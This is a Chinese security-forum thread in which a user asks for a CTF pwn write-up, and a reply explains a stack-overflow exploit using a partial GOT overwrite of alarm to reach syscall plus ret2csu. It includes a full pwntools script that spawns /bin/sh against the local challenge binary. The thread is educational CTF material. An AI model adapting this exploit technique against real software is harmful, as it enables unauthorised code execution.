首页
社区
课程
招聘
[已解决] [求助]一道pwn题,求wp 50.00雪花
发表于: 2021-11-3 10:49 8856

[已解决] [求助]一道pwn题,求wp 50.00雪花

2021-11-3 10:49
8856

一道pwn题,main函数里就一个read,求详细wp


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 1
支持
分享
最新回复 (11)
雪    币: 515
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2


基本检查

socphob@giao:/mnt/c/Users/admin/Desktop$ file ./darkdark
darkdark: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/socphob/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=33c3a6866ab6090d6400253bd9465496444d97da, stripped
socphob@giao:/mnt/c/Users/admin/Desktop$ checksec ./darkdark
[*] '/mnt/c/Users/admin/Desktop/darkdark'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  alarm(0x20u);
  read(0, buf, 0x100uLL);
  return 0LL;
}

题目非常简短,main函数里面仅仅调用了alarm和read,就是普通的栈溢出,但是没有输出函数,看起来是没法泄露leak libc的。那这里怎么办?这里可以通过ROP修改got表低字节到syscall,通过系统调用执行/bin/sh。函数在首次执行时,会把真实地址写到got表的表项中,它是一个libc的地址,低一个半字节是固定,这个题目也是给了libc版本的,那么我们就可以通过修改got表项的低字节来使他指向它附近的地址。这里选择alarm。

got表

可以在alarm + 5的地方找到syscall,我们的目的就是要把最后一个字节0x10改成0x15,然后ROP实现syscall调用execve('/bin/sh\x00',0,0)。

ROP的思路是先调用三次read,1.将alarm@got.plt的低字节改为0x15,2.把/bin/sh/\x00写到bss段,3.控制rax为0x3b。 然后ret2csu执行。

ret2csu,通过r13控制rdi,通过r12和rbx调用alarm。

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./darkdark')
elf = ELF('./darkdark')

bss = 0x601028
pop_rdi_ret = 0x4005d3
pop_rsi_r15_ret = 0x4005d1
main = 0x400537

#往bss中写入 /bin/sh\x00, 相当于 read(0, bss, len)
payload = b'A'*0x38 + p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(elf.plt['read'])+p64(main)
p.sendline(payload)
sleep(1)
p.sendline(b'/bin/sh\x00')

payload  = b'B'*0x38+p64(pop_rsi_r15_ret)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read'])  #改写alarm的值 <=> read(0, alarm, len)
payload += p64(pop_rsi_r15_ret)+p64(0x601038)+p64(0)+p64(elf.plt['read']) #这里调用read是为了控制rax为0x3b <=> rax = read(0, 0x601038, len)
payload += p64(0x4005CA)+ p64(0)+p64(1)+p64(elf.got['alarm'])+p64(bss)+p64(0)+p64(0)+p64(0x4005B0) #通过ret2csu控制其他参数
p.sendline(payload)
# gdb.attach(p)
sleep(1)
p.send(b'\x15')#改写alarm到syscall'
sleep(1)
p.send(b'C'*0x3b)#使得rax=0x3b

p.interactive()


最后于 2021-11-6 11:25 被LS_恶霸崔佛编辑 ,原因:
2021-11-6 01:22
1
雪    币: 515
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
你好,采纳一下回答吧
2021-11-8 17:53
0
雪    币: 65
活跃值: (545)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
LS_恶霸崔佛 基本检查socphob@giao:/mnt/c/Users/admin/Desktop$&nbsp;file&nbsp;./darkdark darkdark:&nbsp;E ...
大佬nb,讲的很细致。这题给libc库只是为了得到偏移0x15吗,如果这样,感觉不给也能做,毕竟单字节爆破也不会太长。这题也真是神了,就一个read都能被利用,吓得我都不敢写代码了
2021-11-9 11:07
0
雪    币: 0
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
膜拜大佬,学习下
2021-11-10 18:20
0
雪    币: 515
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
jren 大佬nb,讲的很细致。这题给libc库只是为了得到偏移0x15吗,如果这样,感觉不给也能做,毕竟单字节爆破也不会太长。这题也真是神了,就一个read都能被利用,吓得我都不敢写代码了[em_78]
syscall总是在alarm + 5的位置,确实可以直接试出来。没leak的话我也不太清楚libc要怎么用。这题能够利用还是因为保护仅开了NX。另外这道题应该还可以用ret2dl-resolve做,不过好像要复杂一点。
ret2dl-resolve可以看这篇大佬写的文章https://bbs.pediy.com/thread-227034.htm
2021-11-10 21:54
0
雪    币: 65
活跃值: (545)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
嗯,学习学习
2021-11-10 22:19
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
ret2csu 请问这个0x4005ca是怎么得到的啊
2021-11-11 14:58
0
雪    币: 515
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
9
wx_magwt ret2csu 请问这个0x4005ca是怎么得到的啊

这个是__libc_csu_init中的gadget,  在init函数中就能看到了。


最后于 2021-11-12 17:07 被LS_恶霸崔佛编辑 ,原因:
2021-11-12 17:06
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
10
LS_恶霸崔佛 wx_magwt ret2csu 请问这个0x4005ca是怎么得到的啊 这个是__libc_csu_init中的gadget,&nbs ...
谢谢! 因为ret2csu我看一般都是利用的__libc_csu_init函数,但是这个用的是init,结构也累死,比较好奇是命名方式不同吗
2021-11-13 16:03
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
wx_magwt 谢谢! 因为ret2csu我看一般都是利用的__libc_csu_init函数,但是这个用的是init,结构也累死,比较好奇是命名方式不同吗
解决了 我查的是 “新版本的ida会直接命名为init”
2021-11-13 16:12
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
12
wx_magwt 谢谢! 因为ret2csu我看一般都是利用的__libc_csu_init函数,但是这个用的是init,结构也累死,比较好奇是命名方式不同吗

解决了 我查的是 “新版本的ida会直接命名为init”

最后于 2021-11-13 16:14 被wx_magwt编辑 ,原因:
2021-11-13 16:12
0
游客
登录 | 注册 方可回帖
返回
//